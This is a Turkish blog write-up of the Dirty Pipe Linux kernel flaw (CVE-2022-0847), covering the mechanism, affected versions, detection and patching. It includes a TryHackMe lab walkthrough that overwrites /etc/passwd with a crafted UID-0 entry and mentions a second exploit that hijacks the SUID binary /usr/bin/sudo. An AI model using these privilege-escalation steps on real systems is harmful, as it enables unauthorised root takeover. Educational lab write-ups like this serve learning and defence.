CVE: Dirty Pipe CVE-2022-0847
Dirty Pipe: CVE-2022-0847 zafiyeti hakkında detaylı bilgiler ve sömürü yöntemini ele alacağız.
2022 yılının Mart ayında, araştırmacı Max Kellerman (Orijinal Blog) tarafından keşfedilen ve kamuoyuna açıklanan kritik bir Linux çekirdek zafiyeti olan Dirty Pipe, sistem güvenliği açısından oldukça büyük bir tehdittir. Bu zafiyet, özellikle Linux sistemlerde yetkisiz dosya yazımı ve yetki yükseltme (privilege escalation) açısından oldukça tehlikeli. Daha önce duymuş olabileceğiniz Dirty COW zafiyetine benzerlik gösteriyor ama çalışma mantığı biraz daha farklı.
Bu yazımda Dirty Pipe zafiyetinin nasıl çalıştığını, teknik detaylarını, nasıl sömürüldüğünü ve bu açıktan nasıl korunulabileceğini sade ama teknik bir dille anlatmak istiyorum.
Nasıl Çalışıyor
Linux çekirdeği, dosya sistemini işlerken page cache adı verilen bir mekanizmayı kullanır. Diskten okunan veriler, “page” adı verilen bellek bloklarına yüklenir. Bu sayede kullanıcı işlemleri daha hızlı gerçekleşir. Linux aynı zamanda pipe (boru) adı verilen bir yapı sunar; bu yapı sayesinde iki süreç (process) arasında veri akışı sağlanır.
Zafiyetin temelinde, çekirdekteki splice() sistem çağrısı yer alır. Bu sistem çağrısı, bir dosya içeriğini doğrudan pipe içine “taşımadan” sadece bellekteki referanslarını pipe’a işaret ettirir. Böylece daha az işlemle veri aktarımı sağlanır.
Ancak burada tehlikeli bir birleşim söz konusudur:
Linux 4.9 sürümünde, rastgele pipe bayrakları belirleme açığı eklendi.
Linux 5.8 ile gelen yeni bir bayrak olan
PIPE_BUF_FLAG_CAN_MERGE
, pipe içine yazılan verilerin aynı bellek sayfası üzerinde yazılabilmesini sağladı.
Bu sayede bir kullanıcı, sadece okuma izni olan bir dosyayı pipe yardımıyla belleğe getirip, sonra da bu bellek bölgesine kendi verisini yazabiliyor. Böylece sistemdeki kritik dosyalar – /etc/passwd
vb. – izinsiz olarak değiştirilebiliyor.
Etkilenen Versiyonlar
Dirty Pipe zafiyeti, aşağıdaki Linux kernel sürümlerinde bulunmaktadır:
5.8 – 5.16.10 arası
Özellikle şu sürümler güvensizdir:
5.8.x
5.10.x (102’ye kadar)
5.15.x (25’e kadar)
5.16.x (11’e kadar)
Android cihazlar da bu sürümlerle aynı çekirdekleri kullandıkları için etkilenmektedir.
Mevcut kernel sürümünüzü aşağıdaki komutla kontrol edebilirsiniz:
1
uname -r
Zafiyetin Etkisi
Bu zafiyetin etkisi oldukça kritiktir. Dirty Pipe sayesinde:
Salt okunur (read-only) dosyalar bile yazılabilir hâle geliyor.
Saldırganlar sistem dosyalarını değiştirebiliyor.
Kullanıcılar root yetkisine yükseltilebiliyor.
Tüm bu işlemler, işletim sistemi tarafından log’lara düzgün şekilde yansıtılmayabiliyor.
Örneğin /etc/passwd
dosyasına müdahale edilip, yeni bir root kullanıcısı eklenerek sistemin kontrolü tamamen ele geçirilebiliyor.
Detaylı Teknik Açıklama
Dirty Pipe zafiyetinin sömürülme süreci, Linuz çekirdeğindeki pipe
ve page cache
mekanizmalarının kötüye kullanılmasıyla gerçekleşiyorç Bu zafiyet sayesinde salt okunur olarak açılmış dosyaların içerikleri, disk üzerinde değil ama bellek (kernel page cache) üzerinde değiştirilebiliyor. Yani sistem dosyaları fiziksel olarak değil ama geçici olarak değiştirilmiş gibi davranıyor. Süreci teknik açıklaması adım adım aşağıdaki gibidir:
Hedef dosya yalnızca okuma (
O_RDONLY
) modunda açılır. Bu normalde dosyanın değiştirilemeyeceği yani sadece okunabileceği anlamında gelir.Bellekte bir pipe oluşturulur ve içerisine splice() sistem çağrısıyla hedef dosyanın içeriği taşınır. Bu işlem sırasında pipe’a ait sayfalara
PIPE_BUF_FLAG_CAN_MERGE
adlı bayrak atanır. Bu bayrak, pipe’a veri yazıldığında bu verinin önceki sayfayla birleştirilebileceğini belirtir. Detay için bakabilirsinizArdından pipe’a doğrudan veri yazılır. Bu yazma işlemi, fiziksel diske değil, kernel seviyesindeki page cache alanına yapılır.
Bu sayede hedef dosyanın içerik kısmı bellek üzerinde değiştirilmiş olur. Sistem bu değişikliği gerçekmiş gibi algılar; dosya okunmak istendiğinde, değiştirilmiş bellek içeriği gösterilir.
Fakat bilinmesi gereken önemli husus ise; bu değişiklik fiziksel diske yazılmadığı için klasik log mekanizmalarının yada dosya bütünlüğü denetimlerinin bu durumu hemen tespit edemeyeceğidir.
Nasıl Sömürülür?
Bu zafiyeti sömürmek için genellikle aşağıdaki adımlar izlenir:
- Exploit ile
/etc/passwd
dosyasındaki root satırı değiştirilir. - Yeni bir kullanıcı root yetkileriyle eklenir veya mevcut root kullanıcısının şifresi kaldırılır.
- Ardından
su root
komutu ile sistemde root hakları elde edilir.
Şimdi örnek bir sömürü uygulaması gerçekleştireceğiz. Bu uygulma TryHackMe platformu üzerindeki Dirty Pipe odasıdır.
Makinemizi başlattıktan sonra ssh ile zafiyetli sistemimize bağlanıyoruz.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
C:\Users\bilal>ssh tryhackme@10.10.55.107
The authenticity of host '10.10.55.107 (10.10.55.107)' can't be established.
ED25519 key fingerprint is SHA256:rw8TptRibl9GUn46fKJvo0yicGzQbNh9hb27xR7kWF4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.55.107' (ED25519) to the list of known hosts.
tryhackme@10.10.55.107's password:
_____ _ _ _ __ __
|_ _| __ _ _| | | | __ _ ___| | _| \/ | ___
| || '__| | | | |_| |/ _` |/ __| |/ / |\/| |/ _ \
| || | | |_| | _ | (_| | (__| <| | | | __/
|_||_| \__, |_| |_|\__,_|\___|_|\_\_| |_|\___|
|___/
tryhackme@dirty-pipe:~$
Max Kellerman’ın blog gönderisinde paylaştığı orijinal kavram kanıtı (PoC) istismar kodunun bir kopyasına, hedef makinede /home/tryhackme/Exploit/PoC/poc.c
yolundan ulaşabiliyoruz. Bu kodu derledikten sonra, Dirty Pipe güvenlik açığını nasıl kullanabileceğimizi çok daha net bir şekilde görebiliyoruz. İstismar bize oldukça esnek bir kontrol sağlıyor; özellikle, üzerine yazmak istediğimiz dosyayı, bu dosya içinde hangi ofsete yazacağımızı ve yazmak istediğimiz veriyi doğrudan belirtmemize olanak tanıyor. Bu işlemlerin her birini aşağıdaki bölümlerde detaylandıracağım.
Bu istismarın sıfırdan bir dosya oluşturmamıza izin vermediğini unutmamak gerekiyor. “Yani yalnızca sistemde halihazırda var olan dosyaların içeriğini üzerine yazabiliyoruz.” Bu nedenle, öncelikle kullanıcı olarak okuma iznine sahip olduğumuz ama aynı zamanda ayrıcalıklarımızı yükseltmekte kullanabileceğimiz bir dosya bulmamız gerekiyor. Bu noktada en mantıklı ve işe yarar hedef dosya: /etc/passwd
. Modern Linux sistemlerinde şifre özetleri artık /etc/passwd
yerine erişimi kısıtlanmış olan /etc/shadow
dosyasında saklansa da, birçok sistem hâlâ /etc/passwd
içindeki şifre alanına bakmayı sürdürüyor. Bu da demek oluyor ki, root yetkisine sahip ve şifresi bilinen bir kullanıcı girdisini doğrudan /etc/passwd
dosyasına yazarsak, sistem bunu kabul edebiliyor. Böylece root erişimini elde etmek mümkün hale geliyor.
/etc/passwd
dosyasındaki her satır, iki nokta üst üste (:
) ile ayrılmış toplam 7 alandan oluşur. Örnek bir giriş şöyle olabilir: root:x:0:0:root:/root:/bin/bash
Bu alanları sırasıyla şunları ifade etmektedir:
Kullanıcı adı (
root
)Kullanıcının şifre karması (hash’i): Çoğu zaman bu kısımda gerçek karma bulunmaz, onun yerine
x
karakteri yer alır. Bu, gerçek şifre özetinin/etc/shadow
dosyasında saklandığı anlamına gelir.UID (User ID): Kullanıcının sistemdeki tanımlayıcı numarası. root için bu değer 0’dır.
GID (Group ID): Kullanıcının grup numarası. Yine root için bu da 0’dır.
Hesap açıklaması: Genellikle sadece “root” olarak kalır, istenirse boş da bırakılabilir.
Kullanıcının ana dizini: Örneğin
/root
Login shell: Giriş yapıldığında çalışan kabuk. Örneğin
/bin/bash
Eğer bu yapıya uygun şekilde kendi kullanıcı girdimizi elle oluşturur ve içerisine geçerli bir parola hash’i yerleştirerek passwd
dosyasına yazabilirsek, sistemde kendi oluşturduğumuz kullanıcı hesabıyla giriş yapabiliriz. Daha da ilginci, Linux sistemleri genellikle UID ve GID’nin eşsiz olup olmadığını kontrol etmez, sadece kullanıcı adlarının benzersiz olup olmadığını kontrol eder. Yani kendi istediğimiz kullanıcı adına sahip, ancak UID ve GID olarak 0 girilmiş bir kullanıcı oluşturursak, bu kullanıcı root ile aynı yetkilere sahip olur.
Şimdi, bir parola hash’i oluşturalım ve geçerli bir /etc/passwd
girdisi hazırlayalım. Öncelikle bir parola seçiyoruz, ardından bu parolanın hash’ini üretmek için openssl
komutunu kullanıyoruz:
1
2
tryhackme@dirty-pipe:~/Exploit/PoC$ openssl passwd hacked
aGI4WgHe4z1sE
Şimdi bu hash’i aşağıdaki passwd giriş şablonuna yerleştiriyoruz:
1
KULLANICI_ADI:HASH:0:0::/root:/bin/bash
Şimdi burada çok önemli bir nokta var: Dosya üzerine yazdığımızda, mevcut satırı tamamen silip yeni satırı düzgün yerleştirmezsek, eski satırın kalan kısmı passwd
dosyasını bozabilir. Bu yüzden satırımızın sonuna mutlaka bir satır sonu karakteri eklememiz gerekiyor. Yani içerik şu şekilde olmalı (tırnaklar da dahildir):
1
2
'muiri:aGI4WgHe4z1sE:0:0::/root:/bin/bash # bu şekilde komutu çalıştırıyoruz ve daha sonra tırnak işareti koyuyoruz.
>'
Şimdi eksik olan son parça: Ofset. Yani dosya içinde bu içeriği yazmaya nereden başlayacağımız. Bu açık, dosya sonuna ekleme yapmamıza izin vermiyor, bu yüzden halihazırda var olan bir kullanıcıyı seçip onun üzerine yazmamız gerekiyor.
Bu noktada, sistemde çok sık kullanılmayan bir kullanıcıyı seçmek mantıklı. Burada gözümüze games kullanıcısı takılıyor. Şimdi bu hesabın /etc/passwd
dosyasındaki başlangıç noktasını (ofsetini) bulmak için şu komutu kullanıyoruz:
1
2
tryhackme@dirty-pipe:~$ grep -b "games" /etc/passwd
189:games:x:5:60:games:/usr/games:/usr/sbin/nologin
Yani games kullanıcısının girdisi, dosyada 189. bayttan başlıyor. Artık elimizde gerekli her şey var:
Dosya yolu
Yazılacak içerik
Yazmanın başlayacağı ofset
İstismarı gerçekleştirmek için hazırız.
İlk olarak, istismar kodunu derlememiz gerekiyor. Bunun için aşağıdaki adımları izliyoruz:
1
2
3
4
tryhackme@dirty-pipe:~$ cd Exploit/PoC/
tryhackme@dirty-pipe:~/Exploit/PoC$ gcc poc.c -o exploit
tryhackme@dirty-pipe:~/Exploit/PoC$ ls
exploit poc.c
Bu komutlarla önce istismar kodunun bulunduğu dizine geçiyoruz, ardından gcc ile poc.c dosyasını derleyip exploit isimli çalıştırılabilir bir dosya oluşturuyoruz. Son olarak ls komutuyla dosyanın başarıyla oluştuğunu kontrol ediyoruz.
Her ihtimale karşı passwd dosyasının yedeğini almanız iyi olur.
Ve artık istismarı çalıştırmaya hazırız. Komutumuz şu şekilde olmalı:
1
./exploit /etc/passwd 189 'muiri:aGI4WgHe4z1sE:0:0::/root:/bin/bash
Son yapmamız gereken işem ise su
komutu ile muiri
kullanıcısına geçiş yapmak olacaktır.
1
2
3
tryhackme@dirty-pipe:~/Exploit/PoC$ su muiri
Password:
root@dirty-pipe:/home/tryhackme/Exploit/PoC#
Başarılı bir şekilde bu güvenlik açığını da sömürebildik.
İkinci Sömürü Yöntemi
Bir başka yöntem ile bu zafiyeti sömürmek istersek bu exploiti kullanabiliriz. Bu sömürü kodu kullanıldığında hedef SUID dosyasının içine elfcode
yazılır. Yani, SUID dosyası artık küçük bir ELF dosyasına dönüşür kısaca root haklarıyla çalışan özel bir shell olur. Kodu alıp sistemimizde derliyoruz. Derlemek için bu komutu kullanabilirsiniz:
1
gcc exploit-2.c -o exploit
Bunu zafiyetli sistem üzerinde de derleyebiliriz. Ancak hedef sistemde gcc
bulunmadığı durumda kendi sistemimizde derleyip hedef sisteme transfer etmemiz gerekecektir. Bu noktada hedef sistem üzerinde kütüphane uyumsuzluk hatası alırsak bu şekilde derleyebiliriz:
1
gcc -static exploit-2.c -o exploit-static
Buradaki -static bayrağı, derleme yaparken statik bağlama (static linking) yapılmasını sağlar. Bu, programın çalışması için ihtiyaç duyduğu tüm kütüphanelerin binary dosyasına gömülmesi anlamına gelir.
Daha sonra hedef sistem üzerinde bu şekilde çalıştırdığımızda root yetkilerine geçtiğimizi göreceğiz.
1
./exploit-static /usr/bin/sudo
Tespit
Dirty Pipe saldırısını tespit etmek zordur çünkü:
Geleneksel log’lara yazma işlemi düşmez.
Bellek seviyesinde yapılan değişiklikler doğrudan fark edilmez.
Sayfa cache boşaltılmadan önce herhangi bir log kaydı oluşmayabilir.
Yine de aşağıdaki yöntemlerle anormallikler tespit edilebilir:
/etc/passwd
veya benzeri kritik dosyaların hash’lerini sürekli izlemek.Pipe içi verilerin analiz edilmesi için kernel modüllerinden faydalanmak.
Önlem ve Güncelleme
Zafiyetin çözümü oldukça basittir: Kernel sürümünüzü güncelleyin.
Güncelleme için komutlar:
1
2
3
4
5
6
7
8
# Debian/Ubuntu
sudo apt update && sudo apt upgrade
# Red Hat/Fedora
sudo dnf update
# Arch
sudo pacman -Syu
Okuduğunuz için teşekkür ederim.